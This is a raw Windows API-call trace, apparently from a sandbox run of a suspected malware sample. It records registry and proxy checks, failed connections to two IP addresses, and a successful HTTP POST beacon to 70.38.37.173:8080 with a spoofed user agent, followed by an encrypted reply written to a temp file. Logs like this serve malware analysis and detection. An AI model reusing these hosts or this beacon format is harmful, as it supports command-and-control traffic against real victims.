09:13:12,111	972	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,111	972	RegEnumKeyExW	Index => 4 Handle => 0x00000220 Name => 4 Class =>	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000228 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4	SUCCESS	0x00000000
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000228 Data => 3 ValueName => Flags	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000228	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:12,111	972	RegEnumKeyExW	Index => 5 Handle => 0x00000220 Name => 4 Class =>	FAILURE	0x00000103
09:13:12,111	972	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000220 DataLength => 4 ValueName => Security_HKLM_only Type => 520032	FAILURE	0x00000002
09:13:12,111	972	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x00000220 SubKey => FEATURE_VALIDATE_URLHOSTNAME	FAILURE	0x00000002
09:13:12,111	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:12,111	972	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x00000218 SubKey => Domains\91.121.210.180	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\91.121.210.180	FAILURE	0x00000002
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000210 Data => 1 ValueName => ProxyBypass	SUCCESS	0x00000000
09:13:12,111	972	LdrLoadDll	Flags => 520112 BaseAddress => 0x771b0000 FileName => WININET.dll	SUCCESS	0x00000000
09:13:12,111	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => IsHostInProxyBypassList FunctionAddress => 0x771d3350 ModuleHandle => 0x771b0000	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000220 Registry => 0x00000218 SubKey => ProtocolDefaults\	SUCCESS	0x00000000
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000220 Data => 3 ValueName => http	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExA	Handle => 0x00000220 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3	SUCCESS	0x00000000
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000220 Data => 1 ValueName => 1A10	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:12,111	972	RegQueryValueExW	Handle => 0x00000220 DataLength => 4 ValueName => Security_HKLM_only Type => 521800	FAILURE	0x00000002
09:13:12,111	972	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
09:13:12,111	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
09:13:12,111	972	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x00000220 SubKey => FEATURE_RESPECT_OBJECTSAFETY_POLICY_KB905547	FAILURE	0x00000002
09:13:12,111	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
09:13:12,111	972	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
09:13:12,111	972	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
09:13:12,111	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	1 time
09:13:12,111	972	NtQueryInformationFile	FileHandle => 0x0000018c FileInformation => \x00\x80\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	22 times
09:13:12,122	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableAutodial Type => 132	FAILURE	0x00000002
09:13:12,122	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:12,122	972	RegOpenKeyExA	Handle => 0x00000220 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:12,122	972	RegQueryValueExA	Handle => 0x00000220 DataLength => 4 ValueName => ProxySettingsPerUser Type => 544	FAILURE	0x00000002
09:13:12,122	972	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
09:13:12,122	972	LdrLoadDll	Flags => 520424 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:13:12,122	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:13:12,122	972	RegOpenKeyExW	Handle => 0x00000220 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
09:13:12,122	972	RegCloseKey	Handle => 0x00000220	SUCCESS	0x00000000
09:13:12,122	972	getaddrinfo	ServiceName => NodeName => 91.121.210.180	SUCCESS	0x00000000
09:13:12,122	972	socket	type => 1 protocol => 6 af => 2	SUCCESS	0x00000220
09:13:12,122	972	bind	ip => 0.0.0.0 socket => 0x00000220 port => 0	SUCCESS	0x00000000
09:13:12,122	972	NtDeviceIoControlFile	InputBuffer => FileHandle => 0x00000220 OutputBuffer => \x01\x00\x00\x00\x01\x00\x00\x00\x0e\x00\x02\x00\x04\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:16,047	972	connect	socket => 0x00000220	FAILURE	4294967295
09:13:16,047	972	closesocket	socket => 0x00000220	SUCCESS	0x00000000
09:13:16,047	972	OpenSCManagerW	MachineName => DatabaseName => DesiredAccess => 2147483648	SUCCESS	0x002f0108
09:13:16,057	972	OpenServiceW	ServiceControlManager => 0x002f0108 ServiceName => RASMAN DesiredAccess => 4	SUCCESS	0x002ecd48
09:13:16,057	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableAutodial Type => 132	FAILURE	0x00000002
09:13:16,057	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:16,057	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:16,057	972	RegQueryValueExA	Handle => 0x00000224 DataLength => 4 ValueName => ProxySettingsPerUser Type => 548	FAILURE	0x00000002
09:13:16,057	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:16,057	972	LdrLoadDll	Flags => 520424 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:13:16,067	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:13:16,067	972	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
09:13:16,067	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:16,067	972	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x01b10000	SUCCESS	0x00000000
09:13:16,067	972	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x01e80000	SUCCESS	0x00000000
09:13:16,067	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x00041000 BaseAddress => 0x01a1f000	SUCCESS	0x00000000
09:13:16,067	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0000e000 BaseAddress => 0x01a11000	SUCCESS	0x00000000
09:13:16,077	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:16,077	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Http Filters\RPA	FAILURE	0x00000002
09:13:16,077	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Http Filters\RPA	FAILURE	0x00000002
09:13:16,077	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	1 time
09:13:16,077	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableAutodial Type => 132	FAILURE	0x00000002
09:13:16,077	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:16,077	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:16,077	972	RegQueryValueExA	Handle => 0x00000224 DataLength => 4 ValueName => ProxySettingsPerUser Type => 548	FAILURE	0x00000002
09:13:16,077	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:16,077	972	LdrLoadDll	Flags => 520976 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:13:16,077	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:13:16,077	972	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
09:13:16,077	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:16,077	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x00000218 SubKey => Domains\23.226.235.180	FAILURE	0x00000002
09:13:16,077	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\23.226.235.180	FAILURE	0x00000002
09:13:16,077	972	RegQueryValueExW	Handle => 0x00000210 Data => 1 ValueName => ProxyBypass	SUCCESS	0x00000000
09:13:16,077	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x00000218 SubKey => ProtocolDefaults\	SUCCESS	0x00000000
09:13:16,077	972	RegQueryValueExW	Handle => 0x00000224 Data => 3 ValueName => http	SUCCESS	0x00000000
09:13:16,077	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:16,077	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:16,077	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableAutodial Type => 132	FAILURE	0x00000002
09:13:16,077	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:16,077	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:16,077	972	RegQueryValueExA	Handle => 0x00000224 DataLength => 4 ValueName => ProxySettingsPerUser Type => 548	FAILURE	0x00000002
09:13:16,077	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:16,087	972	LdrLoadDll	Flags => 520424 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:13:16,087	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:13:16,087	972	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
09:13:16,087	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:16,087	972	getaddrinfo	ServiceName => NodeName => 23.226.235.180	SUCCESS	0x00000000
09:13:16,087	972	socket	type => 1 protocol => 6 af => 2	SUCCESS	0x00000224
09:13:16,087	972	bind	ip => 0.0.0.0 socket => 0x00000224 port => 0	SUCCESS	0x00000000
09:13:16,087	972	NtDeviceIoControlFile	InputBuffer => FileHandle => 0x00000224 OutputBuffer => \x01\x00\x00\x00\x01\x00\x00\x00\x0e\x00\x02\x00\x04\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:17,449	972	connect	socket => 0x00000224	FAILURE	4294967295
09:13:17,449	972	closesocket	socket => 0x00000224	SUCCESS	0x00000000
09:13:17,449	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableAutodial Type => 132	FAILURE	0x00000002
09:13:17,449	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:17,449	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:17,449	972	RegQueryValueExA	Handle => 0x00000224 DataLength => 4 ValueName => ProxySettingsPerUser Type => 548	FAILURE	0x00000002
09:13:17,449	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:17,459	972	LdrLoadDll	Flags => 520424 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:13:17,459	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:13:17,459	972	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
09:13:17,459	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:17,459	972	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x01b10000	SUCCESS	0x00000000
09:13:17,459	972	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x01e80000	SUCCESS	0x00000000
09:13:17,459	972	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x00041000 BaseAddress => 0x01a1f000	SUCCESS	0x00000000
09:13:17,459	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:17,469	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Http Filters\RPA	FAILURE	0x00000002
09:13:17,469	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Http Filters\RPA	FAILURE	0x00000002
09:13:17,469	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	1 time
09:13:17,469	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableAutodial Type => 132	FAILURE	0x00000002
09:13:17,469	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:17,469	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:17,479	972	RegQueryValueExA	Handle => 0x00000224 DataLength => 4 ValueName => ProxySettingsPerUser Type => 548	FAILURE	0x00000002
09:13:17,479	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:17,479	972	LdrLoadDll	Flags => 520976 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:13:17,479	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:13:17,479	972	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
09:13:17,479	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:17,479	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x00000218 SubKey => Domains\70.38.37.173	FAILURE	0x00000002
09:13:17,479	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains\70.38.37.173	FAILURE	0x00000002
09:13:17,479	972	RegQueryValueExW	Handle => 0x00000210 Data => 1 ValueName => ProxyBypass	SUCCESS	0x00000000
09:13:17,489	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x00000218 SubKey => ProtocolDefaults\	SUCCESS	0x00000000
09:13:17,489	972	RegQueryValueExW	Handle => 0x00000224 Data => 3 ValueName => http	SUCCESS	0x00000000
09:13:17,489	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:17,489	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:17,489	972	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => EnableAutodial Type => 132	FAILURE	0x00000002
09:13:17,489	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:17,489	972	RegOpenKeyExA	Handle => 0x00000224 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
09:13:17,489	972	RegQueryValueExA	Handle => 0x00000224 DataLength => 4 ValueName => ProxySettingsPerUser Type => 548	FAILURE	0x00000002
09:13:17,499	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:17,499	972	LdrLoadDll	Flags => 520424 BaseAddress => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
09:13:17,499	972	LdrGetProcedureAddress	Ordinal => 0 FunctionName => RtlConvertSidToUnicodeString FunctionAddress => 0x7c914c35 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
09:13:17,499	972	RegOpenKeyExW	Handle => 0x00000224 Registry => 0x80000003 SubKey => S-1-5-21-1935655697-1606980848-1060284298-1003	SUCCESS	0x00000000
09:13:17,499	972	RegCloseKey	Handle => 0x00000224	SUCCESS	0x00000000
09:13:17,499	972	getaddrinfo	ServiceName => NodeName => 70.38.37.173	SUCCESS	0x00000000
09:13:17,499	972	socket	type => 1 protocol => 6 af => 2	SUCCESS	0x00000224
09:13:17,499	972	bind	ip => 0.0.0.0 socket => 0x00000224 port => 0	SUCCESS	0x00000000
09:13:17,499	972	NtDeviceIoControlFile	InputBuffer => FileHandle => 0x00000224 OutputBuffer => \x01\x00\x00\x00\x01\x00\x00\x00\x0e\x00\x02\x00\x04 \x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
09:13:17,659	972	connect	socket => 0x00000224	SUCCESS	0x00000000
09:13:17,659	972	setsockopt	socket => 0x00000224 level => 6 optname => 1 optval => \x01\x00\x00\x00	SUCCESS	0x00000000
09:13:17,659	972	setsockopt	socket => 0x00000224 level => 65535 optname => 4102 optval => \x80\xee6\x00	SUCCESS	0x00000000
09:13:17,659	972	setsockopt	socket => 0x00000224 level => 65535 optname => 128 optval => \x01\x00\x00\x00	SUCCESS	0x00000000
09:13:17,669	972	send	buffer => POST /4C4FEF4B6ED8F1684973FE753352286D2D966CD844 HTTP/1.1 Accept: */* Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101 Firefox/25.0 Host: 70.38.37.173:8080 Content-Length: 318 Cac socket => 0x00000224	SUCCESS	0x00000256
09:13:21,465	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:21,475	972	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000000 SubKey => MIME\Database\Content Type\text/html; charset=utf-8	FAILURE	0x00000002
09:13:21,475	972	RegOpenKeyExA	Handle => 0x0000022e Registry => 0x80000000 SubKey => MIME\Database\Content Type\text/html	SUCCESS	0x00000000
09:13:21,475	972	RegQueryValueExA	Handle => 0x0000022e Data => .htm\x00 ValueName => Extension	SUCCESS	0x00000000
09:13:21,475	972	RegCloseKey	Handle => 0x0000022e	SUCCESS	0x00000000
09:13:21,475	972	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	1 time
09:13:21,475	972	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\WEXIGKLS\4C4FEF4B6ED8F1684973FE753352286D2D966CD844[1].htm DesiredAccess => 0x40100080 CreateDisposition => 2 FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:21,475	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:21,475	972	NtWriteFile	Buffer => \x80\x00\x00\x00;\xef\xb2\xfc8\xa1}!kFVj\x8d\xea\xaf\xb44*\xa9d\x08I\x0f\xbd\x03\x83\xa5\xf9\xbb\xc3%fz.\xcc\xcb^\xa0\xb5C.g\xf1<\xb0j\x01~\xfb\xffF^\x87d\x000\xc5\xcd\x83\xc8\x83\xa7\x0c\xed\x9b\xea\xbb\x16\x8cad\xe7fA\xe1\x1d r&\xe6\xd8\xbc\xab'\xb8\xbe~\xa8\xb3:\xca\xd6r4/\xd4\x8e>\xb7\x07` \xed\x11\x0bM97\x8d\xa6FvP\x1a\x9d \x16\x84\xfb{L\xc1 `\x9ax\xb1=\xc1\xab\x00\x00\x8dG\x91\xf5m_\xdb{(\xe5\xec\xf2Z0K\x1c\xd1P\x0e\xdf\x10\xde\xca\x81o\x1d\x03\xd1\xf3 \x1d\x058\xdeR\xcb\xa0\xdc\\xdf\xcb\xb2\x9d\xe0B\x00\xdaq_\xe8\xef^\xe8\x83\xe1)\xb8\x86t|\xe2\xa9\xd39 \xec\xdf\xc1\xd1]CP\x10\xe6\x02}?d\x8e\xd5\xc1q\xfdB\x10b\5\xf5\x0e\x01\xa0\xe4^\xf7c\xf8\xbb\xc3Z\xae8\x7f\x12(\xd8K\xc1\x100\x07 \xb9\xb23Q\xa4\x1bMO FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:22,306	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
09:13:22,306	972	NtWriteFile	Buffer => \xfd\x00W\xf1\xc7s\x9a\x01\xf4\xd6+\x19]`\xc5\xe5\x82\x8c\x8ba\xd1\x16\x0c\xfb\xe8\x02\xda\xe2\x1a\xad\xf0H\xd5\x0c\xa9\\xaa\xf8o\x86\x87l\xf8\x8b\x94\xb0\xea\xa9\x01I\xaf\xbbl\xf6\x91R\xf4s\xac\xf0\xeb\xc4\xd37)?S\x9c"\x81p*\xb6\x02\xe2\xea\xe2\x9a\x9c\x96\xd5A\xe0\xf3\x88\xc2Q1\x01wq\xbdC\x02\xc3\xdbH`\xc9'\xb6\xf6\xe2\xea\xab\xbf-Z\x9f\xae=5\x15\x19\x84\xc7\xd0\x06\x11r\xa30\x8c\x86\xe9+\xa5\xefs\x11\xb9:\xcdG \x7f9\xc5\xde\xcf\x802\xb9 \x9be\xf0\xc6.B\xb2\x16\x92\xab\xcb>+8oF\xeb(\x10\xeeR]\xe7\xd1\xc3\xd4\x92\x06\x1b4\xd5\x85\xf4l\x94f\xa0\xca\xa4 \xaaT\xae\x88\xf3\xdc\xdb\x91\xad?\xbc\xfb\xa1\xf8\xf8\xb4`\x1f\xf02W\xb6\xa2\xc8\xe7\x80\xca\x9a$U\x85 \x16IXj\x1cY#Zk\x02\x0f\x90\x13\x81O\x00\xbf\xdb\xd0\xf9\xb7iM=\xaf 0\xfb\x99m\xce`\x05\xb3\xf8\xdb\xe4\x16b\xda FileHandle => 0x0000022c	SUCCESS	0x00000000
09:13:22,907	972	WSARecv	socket => 0x00000224	SUCCESS	0x00000000
